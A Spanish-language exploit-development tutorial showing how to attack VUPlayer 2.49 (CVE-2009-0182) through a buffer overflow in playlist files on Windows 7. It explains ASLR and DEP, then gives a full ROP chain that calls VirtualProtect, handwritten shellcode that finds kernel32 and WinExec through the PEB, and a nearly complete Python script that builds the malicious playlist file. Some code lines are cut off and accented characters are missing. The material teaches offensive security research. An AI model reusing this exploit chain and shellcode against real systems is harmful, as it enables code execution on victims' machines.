-
ADVERTENCIA:
Al abrir este documento, el lector acepta incondicionalmente su
total y exclusiva
responsabilidad legal, de acuerdo a las leyes vigentes en su
pas, por el uso de las
tcnicas experimentales, educativas y de investigacin aqu
expuestas en materia de
explotacin especializada de sistemas. En caso de no estar de
acuerdo con alguno de los
puntos descriptos, deber eliminar inmediatamente el presente
documento y todo
material asociado al mismo. Este tutorial es solo con fines
didcticos y como
conocimiento de la informtica en general, el
Autor de esta obra NO se hace responsable del uso indebido e
ilegal de los
conocimientos aqu Expuestos.
Autor: Guillermo Campillo
Contacto: pekeinfo[at]Gmail[dot]com
Twitter: @PekeinfoPkaos
-
Contenido Prerrequisitos
................................................................................................................................
3
Introduccin
..................................................................................................................................
3
Preparando el camino.
..............................................................................................................
3
Instalacin de Immunity debugger
.......................................................................................
3
Instalando y configurando mona
..........................................................................................
3
Instalacin de VUPlayer
........................................................................................................
3
Conociendo el camino
...................................................................................................................
4
Qu es ASLR?
...........................................................................................................................
4
Mtodos para evadir ASRL
........................................................................................................
5
Explotando la vulnerabilidad
.........................................................................................................
5
Entendiendo el fallo
..................................................................................................................
5
Creando el esqueleto del exploit.
.............................................................................................
8
Evadiendo la proteccin DEP
....................................................................................................
8
Creando la Shellcode
...................................................................................................................
10
Objetivo
...................................................................................................................................
10
Obteniendo la Imagen Base de Kernell32
...............................................................................
10
Buscando la Export Table Address
..........................................................................................
11
Buscando la Direccion de WinExec
.........................................................................................
12
Obteniendo La direccin Real de WinExec
.............................................................................
12
Haciendo uso de de WinExec
.................................................................................................
13
EXPLOIT
.......................................................................................................................................
13
-
Prerrequisitos
Programa: VUPlayer 2.49 CVE: CVE-2009-0182 Sistema: Windows 7 64
Herramientas:
Immunity debugger con complemento mona. Dificultad: Se necesitan
conocimientos previos
Introduccin
Preparando el camino.
Instalacin de Immunity debugger
Bueno lo primero es instalar el Immunity debugger. Este tambin
nos instalara python en caso
de no tenerlo instalado. Tras terminar la instalacin de Immunity
debugger,
Instalando y configurando mona
Instalaremos el complemento mona, que podemos descargar desde el
proyecto oficial.
http://redmine.corelan.be/projects/mona
Para instalarlo basta con descargarlo y copiar el fichero
mona.py en la carpeta del Imunity
debugger. Por defecto es: C:\Archivos de programa\Immunity
Inc\Immunity Debugger\PyCommands
Posteriormente configuraremos nuestro entorno de trabajo.
Iniciamos el Inmunity y en la barra
de comandos ponemos lo siguiente: !mona config -set
workingfolder c:\logs\%p. Sin comillas.
Esto nos generara un espacio de trabajo donde almacenara toda la
informacin referente al
programa
Instalacin de VUPlayer
Este programa no requiere ninguna instalacin especial.
-
Conociendo el camino
Qu es ASLR? Son las siglas de Address space layout
randomization, consiste en colocar determinadas partes
de un programa en diferentes direcciones de memoria, haciendo ms
difcil la tarea de
explotacin de un programa por parte de un exploit, esta tcnica
fue publicada en el 2001 en pax
(http://en.wikipedia.org/wiki/PaX), pero realmente hasta el 2005
no se habilito por defecto en el
kernel, en 2007 Windows lo incluyo en su sistema operativo
Windows vista, aun que el sistema
que usa Windows de ASLR no es igual que el del resto de sistemas
operativos, en Windows el
ASLR se aplica a las localizaciones de: heap, stack, PEB y
TEB.
Esto se traduce en que ya no se puede predecir en qu posicin
estar la direccin de la funcin
a la que queremos llamar, si nos fijamos en alguno de los
tutoriales mos anteriores veremos que
muchas direcciones son colocadas a mano como por ejemplo la de
VirtualProtect, pero con
ASLR esto no lo podemos realizar de esta forma, un ejemplo de
cmo afecta ASLR a la
creacin de shellcode pondremos una shellcode sencilla
Este es el cdigo que usare, simplemente hace un msg con el ttulo
pekeinfo y el texto pekeinfo
XOR EAX,EAX
PUSH EAX
PUSH 696E666F
PUSH 656B6570
MOV EBX,ESP
PUSH EAX
PUSH EBX
PUSH EBX
PUSH EAX
CALL 760EFD56
Ahora bien si reinicio la maquina e intento lanzar nuevamente mi
shellcode pasa lo siguiente.
Como vemos la direccin 0x76EFD56 que era la direccin de la API
MessageBoxA, ha
cambiado. Y es ah donde nos afecta
-
Mtodos para evadir ASRL
Entonces como evadimos el ASLR? pues aunque hemos visto que ASLR
nos dificulta la tarea
existen mtodos para saltarse esta proteccin entre ellos existe
una manera que consisten en
lanzar mltiples veces un exploit hasta que d con la direccin
correcta, esto en muchos casos
no es viable dado el problema de estabilidad que genera, pero es
una opcin.
Otra opcin y la que se explicara en este documento es la
obtencin de la direccin base de
kernel32 mediante PEB, esta tcnica se conoce desde antes del
2009, y bsicamente es obtener
la ImagenBase de Kernell32 mediante la estructura PEB para poder
desplazarnos y obtener
alguna de las APIs que son ms interesantes como por ejemplo
LoadLibraryA. En la imagen se
puede ver un resumen ms esquemtico de este proceso
Explotando la vulnerabilidad
Entendiendo el fallo
El exploit en esta ocasin es un exploit de tipo buffer OverFlow
.
El poc es bastante descriptivo, el programa falla cuando intenta
leer una url de un fichero pls,
pues vamos a ver como es un fichero valido pls, abrimos un
fichero de texto y ponemos una url
valida, ejemplo: http://miwebvalida.net guardamos el fichero y
renombramos el fichero como
pls, ahora abrimos el programa y abrimos el fichero
-
Bien ahora abramos el immunitydbg y creemos mediante mona un
fichero de muchos
caracteres, yo he empezado con 1024 por probar,
Copiamos el buffer en nuestro fichero pls, y lo abrimos con el
VUPlayer.
Ahora cogemos los dgitos amarillos y se lo damos a mona po
68423768
Con esto sabemos el tamao que necesitamos para sobrescribir el
ret, el tamao es de 1012,
ahora solo nos queda encontrar el RET donde falla, abrimos el
immunitydbg y cargamos el
programa, para encontrar el RET yo suelo ejecutar con normalidad
el programa y espero a que
haga crash
-
Bien cuando el immunitydbg pare por la excepcin simplemente nos
fijamos en el stack
subimos y la primera direccin del programa que veamos le ponemos
un BP
Y vamos traceando desde esa direccin
Pues ya llegamos a nuestro ret,
-
Creando el esqueleto del exploit.
El exploit lo hare en Python por comodidad, y ser algo como
esto:
import struct
rop =[]
shellcode="";
x = 0
f = open("vulnerable.m3u","a")
for x in range(0,1012):
f.write("\x90")
rop_gadgets = struct.pack("
-
rop =[
0x10015f82, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT
BASSMIDI.dll]
0x1001eaf1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]
0x10030950, # XCHG EAX,ESI # RETN [BASS.dll]
0x10605ce4, # POP EBP # RETN [BASSMIDI.dll]
0x100222c5, # & jmp esp [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
0x10601007, # POP ECX # RETN [BASSMIDI.dll]
0x101082d3, # &Writable location [BASSWMA.dll]
0x100190b0, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0x90909090, # nop
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
]
Lo aadiremos a nuestro esqueleto que hicimos anteriormente.
-
Creando la Shellcode
Objetivo Obtener la direccin de winexec mediante la obtencin de
la ImagenBase de la librera kernell32
y buscando su direccin en la Export Table, esta tabla contiene
todas las direcciones de las
funciones que exporta una dll, bueno como comentamos en la
introduccin para obtener la
ImagenBase Kernell32 necesitamos acceder a la estructura PEB que
es la que contiene dicha
informacin y para acceder a la estructura PEB tenemos que
obtener su direccin de TIB, esta
est siempre en FS:[0x30]
Obteniendo la Imagen Base de Kernell32 Esta parte quiz la
primera vez suene muy enrevesada y liosa, por lo que la intentare
explicar
paso por paso. La imagen de abajo muestra todo este proceso
Ponemos EAX a cero y movemos a EDI el contenido del puntero
FS:[0x30] No ponemos directamente 0x30 por que ocupa ms y tiene
caracteres 00
Con esto estamos en el inicio de la estructura PEB si al puntero
le sumaos 0x0c, no situaramos en la estructura PEB_LDR_data,
movemos el puntero a EDI
Bien ahora tenemos en EDI el inicio de la direccin PEB_LDR_data,
en esta estructura hay una direccin a otra estructura llamada
InMemoryOrderModuleList esta estructura situada a un desplazamiento
de 0x14 y guardamos el puntero en EDI contiene los mdulos que hay
cargados en memoria
Bien ahora estamos en el inicio de la lista de mdulos que hay en
memoria, el primero es el imagenbase de nuestro programa, el
segundo es el ntdll y el siguiente que es el que nos interesa es
kernell32 (si es en windows xp est en otro orden) si copiamos el
siguiente cdigo en nuestro cdigo y le damos a F7 veremos el listado
completo en ECX se almacenara la direccin base de las dll cargadas
en memoria.
Volviendo a la shellcode como nosotros sabemos de antemano que
dll queremos nos vamos directamente a esta
Tras esto en EDI est la direccin base de Kernel32.
Una de las cosas importantes ahora es no perder la direccin de
kernel32, yo uso la tcnica de bloquear un registro, esto no es nada
recomendable, lo suyo es usar el stack y almacenar en el stack las
direccin de todas las dll y dems cosas que necesitemos pero para
este ejemplo sencillo no complicaremos ms y bloquearemos el
registro Para trabajar con l lo desplazamos a EAX
-
Buscando la Export Table Address Ya disponiendo de la imagen
base recorreremos como si fuese un binario ordinario. Esto
quiere decir, que obtendremos la direccin de la cabecera PE,
veamos el cdigo y expliquemos
como hacerlo.
Recordar que en EDI tenemos la direccin base de Kernel32, para
no perder dicha direccin la
moveremos a EAX
Como sabemos para obtener el inicio de la cabecera PE hay que
sumar a la direccin base un
desplazamiento este desplazamiento se puede encontrar en la
posicin 3c por tanto:
Inicio PE = imagen base + [imagen base + 0x3C]
Por tanto sumando a EAX 0x3C, el valor lo colocamos en otro
registro, ECX
Ahora en ECX tenemos el desplazamiento solo hace falta sumar la
imagen base y ya
tendramos en ECX la direccin de inicio de la cabecera PE
Ya tenemos la direccin de la cabecera PE. Pero lo que nosotros
queremos es obtener la tabla
donde est el listado de direcciones de las API . Para ello
usaremos la estructura de la Export
table, que est en PE+0x78 (este es el offset luego a ese offset
hay que sumar el imagen base),
esto lo conseguimos sumando a ECX 0x78 movemos el valor al que
apunta a EAX y le sumamos
la imagen base.
Export Table Address
DWORD Characteristics 0x0
DWORD TimeDateStamp 0x4
WORD MajorVersion 0x8
WORD MinorVersion 0xA
DWORD Name 0xC
DWORD Base 0x10
DWORD NumberOfFunctions 0x14
DWORD NumberOfNames 0x18
-
DWORD AddressOfFunctions 0x1C
DWORD AddressOfNames 0x20
DWORD AddressOfNameOrdinals 0x24
Buscando la Direccin de WinExec En este momento es un poco ms
enrevesado que lo anterior. Vamos a recorrer la Export Table
Address que est en EAX para encontrar la direccin WinExc, como
nosotros tenemos el
nombre de la api que queremos buscar recorreremos la estructura
mirando en AddresOfNames,
La idea es:
Iniciar un contador a 0 -> ECX Colocar el inicio de
AddresOfNames -> EDX = [EAX + 0x20]
Lo que contiene ESI es necesario Lo explico un poco ms abajo
Inicio Loop: Desplazamos el puntero de AddresOfNames -> EBX =
[EDX+ECX] Aadimos A EBX la direccin Base -> EBX + EDI Sumamos
0x4 al contador -> ECX + 0x4
Comparamos si EBX es WinExec Si no lo es hacemos el loop Y si lo
es en ECX tenemos el nmero de desplazamientos que hay para WinExec
Para comparar si es la funcin que queremos en m caso WinExec
necesitamos compara el String que est apuntando EBX con WinExec
Como no podemos colocar directamente WinExec lo partiremos y
comprobaremos por partes
primero WinE que es 0x456E6957 y si esto da positivo
comprobaremos 0x00636578 con este
ltimo tenemos un problemita pues tiene 00. Pues esa es la razon
por la que en la imagen de
antes hice eso con ESI, lo que hacemos es colocar en ESI
0xAAC9CFD2 y hacemos un XOR
con EAX y esta operacin da como resultado 0x00636578 con esta
aclaracin ya podemos
entender que hace esto:
Cuando termine todo el Loop en ECX estar el desplazamiento
necesario para obtener la
direccin real de WinExec, como ltimo apunte cuando tengamos el
desplazamiento ECX
valdr 0x4 ms de lo que tendra que valer, por lo que hay que
hacer un
Obteniendo La direccin Real de WinExec A modo de
recordatorio,
Export Table Address EAX
Desplazamiento a la funcin ECX
Imagen Base EDI
-
Si miramos en Export Table Address esta AddressOfFunctions que
es similar a AddresOfNames
pero en lugar de contener nombre contiene las direcciones de la
api, el desplazamiento que
conseguimos antes ahora podemos usarlo para obtener la direccin
correcta de la API
La idea es hacer:
Colocar en EBX el inicio de Export Table -> EBX = EAX
Desplazar EBX a AddressOfFunctions -> EBX += 0x1c
Sumar El imagen base -> EBX += EDI
Sumar El desplazamiento -> EBX += ECX
Y ahora ya tenemos en EBX la direccin de la api WinExec
Haciendo uso de de WinExec Esto ya es como una shellcode normal
y corriente colocamos en ESI la palabra en el stack
ponemos los argumentos y llamamos a EBX que tiene la direccin de
WinExec
EXPLOIT import struct
rop =[
0x10015f82, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT
BASSMIDI.dll]
-
0x1001eaf1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll]
0x10030950, # XCHG EAX,ESI # RETN [BASS.dll]
0x10605ce4, # POP EBP # RETN [BASSMIDI.dll]
0x100222c5, # & jmp esp [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
0x10601007, # POP ECX # RETN [BASSMIDI.dll]
0x101082d3, # &Writable location [BASSWMA.dll]
0x100190b0, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0x90909090, # nop
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
]
shellcode="\x33\xC0\x64\x8B\x78\x30\x8B\x7F\x0C\x8B\x7F\x14\x8B\x3F\x8
B\x3F\x8B\x7F\x10\x8B\xC7\x83\xC0\x3C\x8B\x08\x03\xCF\x83\xC1\x78\x8B\
x01\x03\xC7\x8B\x50\x20\x03\xD7\x33\xC9\x8B\xF1\x81\xC6\xD2\xCF\xC9\xA
A\x81\xF6\xAA\xAA\xAA\xAA\x90\x8B\x1C\x11\x03\xDF\x83\xC1\x04\x81\x3B\
x57\x69\x6E\x45\x75\xEF\x39\x73\x04\x75\xEA\x90\x83\xE9\x04\x8B\xD8\x8
B\x5B\x1C\x03\xDF\x8B\x1C\x19\x03\xDF\x90\x90\xBE\xC9\xC7\xCE\xAA\x81\
xF6\xAA\xAA\xAA\xAA\x33\xC0\x89\x34\x28\xB0\x03\x50\x55\xFF\xD3";
x = 0
f = open("vulnerable3.m3u","a")
for x in range(0,1012):
print str(x)
f.write("\x90")
rop_gadgets = struct.pack("